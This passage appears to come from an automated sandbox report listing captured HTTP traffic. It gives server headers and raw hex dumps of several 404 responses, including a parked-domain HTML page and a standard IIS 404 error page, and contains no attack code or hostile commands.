c8 1c e2 cf 07 0e b3 a9 54 60 90 00 dc 32 6c ef 7c 24 a3 9b 41 80 11 18 32 e2 50 8b dc 6a c2 d6 62 35 64 da 70 37 8f 1d c2 5c e9 0a 20 d0 d7 1c 00 f6 70 6e eb 13 53 93 91 56 9b 97 99 ab cb d0 31 12 c4 2f 43 e4 f8 7c d1 26 ee 3c 2e e4 98 53 46 81 6f e6 b1 51 02 2f 94 a0 e7 96 31 52 31 e3 b1 74 7a 3f f8 4d 59 b9 02 62 a4 2a 38 46 c4 86 25 68 df ba d2 ea b4 fe c4 28 f2 36 8f 3d ae 88 90 41 a4 18 70 bb 2a 68 56 70 2f 93 ce da b4 24 e0 e7 92 c6 5c 8b 36 32 68 2c 0b 86 0d 32 1c 8a e5 40 ac b9 ca 38 62 56 1e 5b 5c 45 96 04 b7 32 0e 42 10 fb b0 58 b1 0c ba 12 88 10 a9 5a de 4a 1e 16 77 3b 34 77 3b 04 16 c6 e2 b1 a9 7d 1a f0 de e4 9a 36 6c d6 e4 11 03 48 d1 a6 00 07 2b bb 79 6c 02 e9 a8 8f 51 91 fb 16 f5 f3 38 0d 04 a2 b6 ed 11 cb 62 6e b9 bf 0f 3c 62 c6 7b a9 c1 2f e4 84 d5 53 21 81 c2 85 f0 c9 93 70 f1 76 fb e6 c3 4e eb 69 f8 e0 7a 66 90 a3 38 45 31 65 a0 fe 92 99 3a 32 35 c8 d3 38 18 8f b2 04 8a 40 45 67 fd de 7f 65 09 48 08 0c d1 a2 34 a1 23 5e 23 2b 6b 02 d8 6c 25 7d f3 25 03 30 f2 79 1d 22 80 70 0f 0f e3 5e a7 50 55 d2 f9 8d d6 e6 fb a7 61 eb 59 fb 97 db 99 1c 75 7a e4 b0 58 e0 d9 a4 99 41 45 9b 9b f3 d9 12 94 a5 16 b0 4b 14 d8 90 06 8b 6a 2f 79 94 41 2e f7 1d 62 03 47 3e bc bb d1 7d f9 3a 5c 5e 68 ff f5 42 81 f2 e1 dd cd 9c 41 1d 45 db b8 06 ea 26 b7 a0 d0 63 be 4e 41 e4 3d b6 ca 75 c4 ed 44 47 da a3 e0 2e fa 52 8b c2 53 12 d0 69 ce 3a a4 0c 6a 25 10 11 9d 22 38 0c c8 d7 ee 49 4b d2 ad 34 76 78 17 b8 a1 19 10 c1 6a aa 28 90 36 29 71 2e 9c a3 65 16 40 27 f4 d1 f1 32 f0 27 83 72 b0 e3 6e b9 70 ba d7 18 72 41 d5 2b fc d3 ca 19 f2 17 fe 57 9f ff 9f 53 71 c2 65 75 22 e5 47 e7 fe df e1 1f 8b aa a0 91 81 66 64 03 f9 f0 ee f1 47 9a e9 b5 1f 29 25 78 26 a0 be ec 94 c7 86 b0 c6 a8 d7 b4 a8 bc 86 0b bb de 82 b6 00 5d 20 81 b5 11 d5 18 80 9e ac 47 52 e4 55 81 fa ea 77 14 a7 d7
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 May 2024 12:07:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 57 5b 6f 13 47 14 7e cf af 18 a6 a2 31 88 dd 75 12 12 8a 6f 02 42 a4 46 02 8a 50 aa b6 4f 68 bc 3b b6 87 ec ee 2c bb e3 1b 15 52 05 88 40 cb 25 a8 d0 02 a9 84 40 69 41 aa 6a 52 55 e5 92 90 20 f5 b7 64 6d e7 89 bf d0 33 3b 6b 7b 9d 4b 85 54 09 e1 99 d9 39 b7 ef 7c e7 9c 49 6e df c9 2f a6 e7 be 39 3b 83 2a c2 b1 d1 d9 2f 4f 9c 9a 9d 46 58 33 8c af 26 a6 0d e3 e4 dc 49 f4 f5 e7 73 a7 4f a1 31 3d 8d e6 7c e2 06 4c 30 ee 12 db 30 66 ce 60 84 2b 42 78 19 c3 a8 d7 eb 7a 7d 42 e7 7e d9 98 3b 67 34 a4 ae 31 29 1c 2f 35 91 90 d4 2d 61 e1 c2 48 2e 32 d8 70 6c 37 c8 ef a2 66 ec e8 d1 a3 4a 3a ba 4b 89 05 3f 0e 15 04 1c 15 9e 46 2f 56 59 2d 8f a7 b9 2b a8 2b b4 b9 a6 47 31 32 d5 2e 8f 05 6d 08 43 ea cf 22 b3 42 fc 80 8a 7c 55 94 b4 cf 30 32 7a 5a 5c e2 d0 3c ae 31 5a f7 b8 2f 12 b2 75 66 89 4a de a2 35 66 52 2d da 48 07 04 13 36 2d 6c 3d 78 df 59 5a d2 4d ee e4 0c 75 32 82 10 ca d9 cc 9d 47 3e b5 f3 38 10 4d 9b 06 15 4a 41 63 c5 a7 a5 a1 c8 1c e2 cf 07 0e b3 a9 54 60 90 00 dc 32 6c ef 7c 24 a3 9b 41 80 11 18 32 e2 50 8b dc 6a c2 d6 62 35 64 da 70 37 8f 1d c2 5c e9 0a 20 d0 d7 1c 00 f6 70 6e eb 13 53 93 91 56 9b 97 99 ab cb d0 31 12 c4 2f 43 e4 f8 7c d1 26 ee 3c 2e e4 98 53 46 81 6f e6 b1 51 02 2f 94 a0 e7 96 31 52 31 e3 b1 74 7a 3f f8 4d 59 b9 02 62 a4 2a 38 46 c4 86 25 68 df ba d2 ea b4 fe c4 28 f2 36 8f 3d ae 88 90 41 a4 18 70 bb 2a 68 56 70 2f 93 ce da b4 24 e0 e7 92 c6 5c 8b 36 32 68 2c 0b 86 0d 32 1c 8a e5 40 ac b9 ca 38 62 56 1e 5b 5c 45 96 04 b7 32 0e 42 10 fb b0 58 b1 0c ba 12 88 10 a9 5a de 4a 1e 16 77 3b 34 77 3b 04 16 c6 e2 b1 a9 7d 1a f0 de e4 9a 36 6c d6 e4 11 03 48 d1 a6 00 07 2b bb 79 6c 02 e9 a8 8f 51 91 fb 16 f5 f3 38 0d 04 a2 b6 ed 11 cb 62 6e b9 bf 0f 3c 62 c6 7b a9 c1 2f e4 84 d5 53 21 81 c2 85 f0 c9 93 70 f1 76 fb e6 c3 4e eb 69 f8 e0 7a 66 90 a3 38 45 31 65 a0 fe 92 99 3a 32 35 c8 d3 38 18 8f b2 04 8a 40 45 67 fd de 7f 65 09 48 08 0c d1 a2 34 a1 23 5e 23 2b 6b 02 d8 6c 25 7d f3 25 03 30 f2 79 1d 22 80 70 0f 0f e3 5e a7 50 55 d2 f9 8d d6 e6 fb a7 61 eb 59 fb 97 db 99 1c 75 7a e4 b0 58 e0 d9 a4 99 41 45 9b 9b f3 d9 12 94 a5 16 b0 4b 14 d8 90 06 8b 6a 2f 79 94 41 2e f7 1d 62 03 47 3e bc bb d1 7d f9 3a 5c 5e 68 ff f5 42 81 f2 e1 dd cd 9c 41 1d 45 db b8 06 ea 26 b7 a0 d0 63 be 4e 41 e4 3d b6 ca 75 c4 ed 44 47 da a3 e0 2e fa 52 8b c2 53 12 d0 69 ce 3a a4 0c 6a 25 10 11 9d 22 38 0c c8 d7 ee 49 4b d2 ad 34 76 78 17 b8 a1 19 10 c1 6a aa 28 90 36 29 71 2e 9c a3 65 16 40 27 f4 d1 f1 32 f0 27 83 72 b0 e3 6e b9 70 ba d7 18 72 41 d5 2b fc d3 ca 19 f2 17 fe 57 9f ff 9f 53 71 c2 65 75 22 e5 47 e7 fe df e1 1f 8b aa a0 91 81 66 64 03 f9 f0 ee f1 47 9a e9 b5 1f 29 25 78 26 a0 be ec 94 c7 86 b0 c6 a8 d7 b4 a8 bc 86 0b bb de 82 b6 00 5d 20 81 b5 11 d5 18 80 9e ac 47 52 e4 55 81 fa ea 77 14 a7 d7
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 May 2024 12:07:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 57 5b 6f 13 47 14 7e cf af 18 a6 a2 31 88 dd 75 12 12 8a 6f 02 42 a4 46 02 8a 50 aa b6 4f 68 bc 3b b6 87 ec ee 2c bb e3 1b 15 52 05 88 40 cb 25 a8 d0 02 a9 84 40 69 41 aa 6a 52 55 e5 92 90 20 f5 b7 64 6d e7 89 bf d0 33 3b 6b 7b 9d 4b 85 54 09 e1 99 d9 39 b7 ef 7c e7 9c 49 6e df c9 2f a6 e7 be 39 3b 83 2a c2 b1 d1 d9 2f 4f 9c 9a 9d 46 58 33 8c af 26 a6 0d e3 e4 dc 49 f4 f5 e7 73 a7 4f a1 31 3d 8d e6 7c e2 06 4c 30 ee 12 db 30 66 ce 60 84 2b 42 78 19 c3 a8 d7 eb 7a 7d 42 e7 7e d9 98 3b 67 34 a4 ae 31 29 1c 2f 35 91 90 d4 2d 61 e1 c2 48 2e 32 d8 70 6c 37 c8 ef a2 66 ec e8 d1 a3 4a 3a ba 4b 89 05 3f 0e 15 04 1c 15 9e 46 2f 56 59 2d 8f a7 b9 2b a8 2b b4 b9 a6 47 31 32 d5 2e 8f 05 6d 08 43 ea cf 22 b3 42 fc 80 8a 7c 55 94 b4 cf 30 32 7a 5a 5c e2 d0 3c ae 31 5a f7 b8 2f 12 b2 75 66 89 4a de a2 35 66 52 2d da 48 07 04 13 36 2d 6c 3d 78 df 59 5a d2 4d ee e4 0c 75 32 82 10 ca d9 cc 9d 47 3e b5 f3 38 10 4d 9b 06 15 4a 41 63 c5 a7 a5 a1 c8 1c e2 cf 07 0e b3 a9 54 60 90 00 dc 32 6c ef 7c 24 a3 9b 41 80 11 18 32 e2 50 8b dc 6a c2 d6 62 35 64 da 70 37 8f 1d c2 5c e9 0a 20 d0 d7 1c 00 f6 70 6e eb 13 53 93 91 56 9b 97 99 ab cb d0 31 12 c4 2f 43 e4 f8 7c d1 26 ee 3c 2e e4 98 53 46 81 6f e6 b1 51 02 2f 94 a0 e7 96 31 52 31 e3 b1 74 7a 3f f8 4d 59 b9 02 62 a4 2a 38 46 c4 86 25 68 df ba d2 ea b4 fe c4 28 f2 36 8f 3d ae 88 90 41 a4 18 70 bb 2a 68 56 70 2f 93 ce da b4 24 e0 e7 92 c6 5c 8b 36 32 68 2c 0b 86 0d 32 1c 8a e5 40 ac b9 ca 38 62 56 1e 5b 5c 45 96 04 b7 32 0e 42 10 fb b0 58 b1 0c ba 12 88 10 a9 5a de 4a 1e 16 77 3b 34 77 3b 04 16 c6 e2 b1 a9 7d 1a f0 de e4 9a 36 6c d6 e4 11 03 48 d1 a6 00 07 2b bb 79 6c 02 e9 a8 8f 51 91 fb 16 f5 f3 38 0d 04 a2 b6 ed 11 cb 62 6e b9 bf 0f 3c 62 c6 7b a9 c1 2f e4 84 d5 53 21 81 c2 85 f0 c9 93 70 f1 76 fb e6 c3 4e eb 69 f8 e0 7a 66 90 a3 38 45 31 65 a0 fe 92 99 3a 32 35 c8 d3 38 18 8f b2 04 8a 40 45 67 fd de 7f 65 09 48 08 0c d1 a2 34 a1 23 5e 23 2b 6b 02 d8 6c 25 7d f3 25 03 30 f2 79 1d 22 80 70 0f 0f e3 5e a7 50 55 d2 f9 8d d6 e6 fb a7 61 eb 59 fb 97 db 99 1c 75 7a e4 b0 58 e0 d9 a4 99 41 45 9b 9b f3 d9 12 94 a5 16 b0 4b 14 d8 90 06 8b 6a 2f 79 94 41 2e f7 1d 62 03 47 3e bc bb d1 7d f9 3a 5c 5e 68 ff f5 42 81 f2 e1 dd cd 9c 41 1d 45 db b8 06 ea 26 b7 a0 d0 63 be 4e 41 e4 3d b6 ca 75 c4 ed 44 47 da a3 e0 2e fa 52 8b c2 53 12 d0 69 ce 3a a4 0c 6a 25 10 11 9d 22 38 0c c8 d7 ee 49 4b d2 ad 34 76 78 17 b8 a1 19 10 c1 6a aa 28 90 36 29 71 2e 9c a3 65 16 40 27 f4 d1 f1 32 f0 27 83 72 b0 e3 6e b9 70 ba d7 18 72 41 d5 2b fc d3 ca 19 f2 17 fe 57 9f ff 9f 53 71 c2 65 75 22 e5 47 e7 fe df e1 1f 8b aa a0 91 81 66 64 03 f9 f0 ee f1 47 9a e9 b5 1f 29 25 78 26 a0 be ec 94 c7 86 b0 c6 a8 d7 b4 a8 bc 86 0b bb de 82 b6 00 5d 20 81 b5 11 d5 18 80 9e ac 47 52 e4 55 81 fa ea 77 14 a7 d7
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 08 May 2024 12:07:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 64 34 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 3c 74 69 74 6c 65 3e e9 95 bf e7 9b 9b 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 72 6b 73 6d 69 6c 65 2e 63 6f 6d 2f 61 73 73 65 74 2f 6c 70 5f 73 74 79 6c 65 2e 63 73 73 22 20 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6c 2e 33 36 35 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 66 69 6c 65 2f 6d 61 69 6c 2e 70 6e 67 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 61 75 74 6f 22 20 61 6c 74 3d 22 33 36 35 e9 82 ae e7 ae b1 22 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 7a 2d 69 6e 64 65 78 3a 20 31 3b 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6d 22 20 3e 3c 68 32 20 69 64 3d 22 64 6f 6d 61 69 6e 22 3e e9 95 bf e7 9b 9b 2e 63 6f 6d 3c 2f 68 32 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 67 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 2f 2f 63 6f 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 22 3e 0a 3c 74 61 62 6c 65 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 62 6f 72 64 65 72 3d 22 30 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 3e 0a 3c 74 72 3e 3c 74 64 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 3e e5 9f 9f e5 90 8d e6 89 98 e7 ae a1 e5 95 86 3a 3c 69 6d 67 20 73 72 63 3d 22 66 69 6c 65 2f 6d 61 72
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 08 May 2024 12:08:14 GMTConnection: closeContent-Length: 4947Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 38 2e 35 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 7d 20 0a 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 31 30 70 78 20 35 70 78 3b 7d 20 0a 75 6c 2e 66 69 72 73 74 2c 6f 6c 2e 66 69 72 73 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 7d 20 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 61 6c 6c 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 2d 63 6f 6e 74 61 69 6e 65 72 20 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 2e 6e 6f 2d 65 78 70 61 6e 64 2d 61 6c 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 31 35 70 78 20 34 70 78 20 31 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 2d 31 32 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 3b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 38 70 78 20 2d 31 32 70 78 3b 5f 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 7d 20 0a 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 37 45 46 46 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 08 May 2024 12:08:17 GMTConnection: closeContent-Length: 4947Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 38 2e 35 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 7d 20 0a 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 31 30 70 78 20 35 70 78 3b 7d 20 0a 75 6c 2e 66 69 72 73 74 2c 6f 6c 2e 66 69 72 73 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 7d 20 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 61 6c 6c 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 2d 63 6f 6e 74 61 69 6e 65 72 20 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 2e 6e 6f 2d 65 78 70 61 6e 64 2d 61 6c 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 31 35 70 78 20 34 70 78 20 31 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 2d 31 32 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 3b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 38 70 78 20 2d 31 32 70 78 3b 5f 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 7d 20 0a 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 37 45 46 46 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 08 May 2024 12:08:20 GMTConnection: closeContent-Length: 4947Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 38 2e 35 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 7d 20 0a 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 31 30 70 78 20 35 70 78 3b 7d 20 0a 75 6c 2e 66 69 72 73 74 2c 6f 6c 2e 66 69 72 73 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 7d 20 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 61 6c 6c 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 2d 63 6f 6e 74 61 69 6e 65 72 20 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 2e 6e 6f 2d 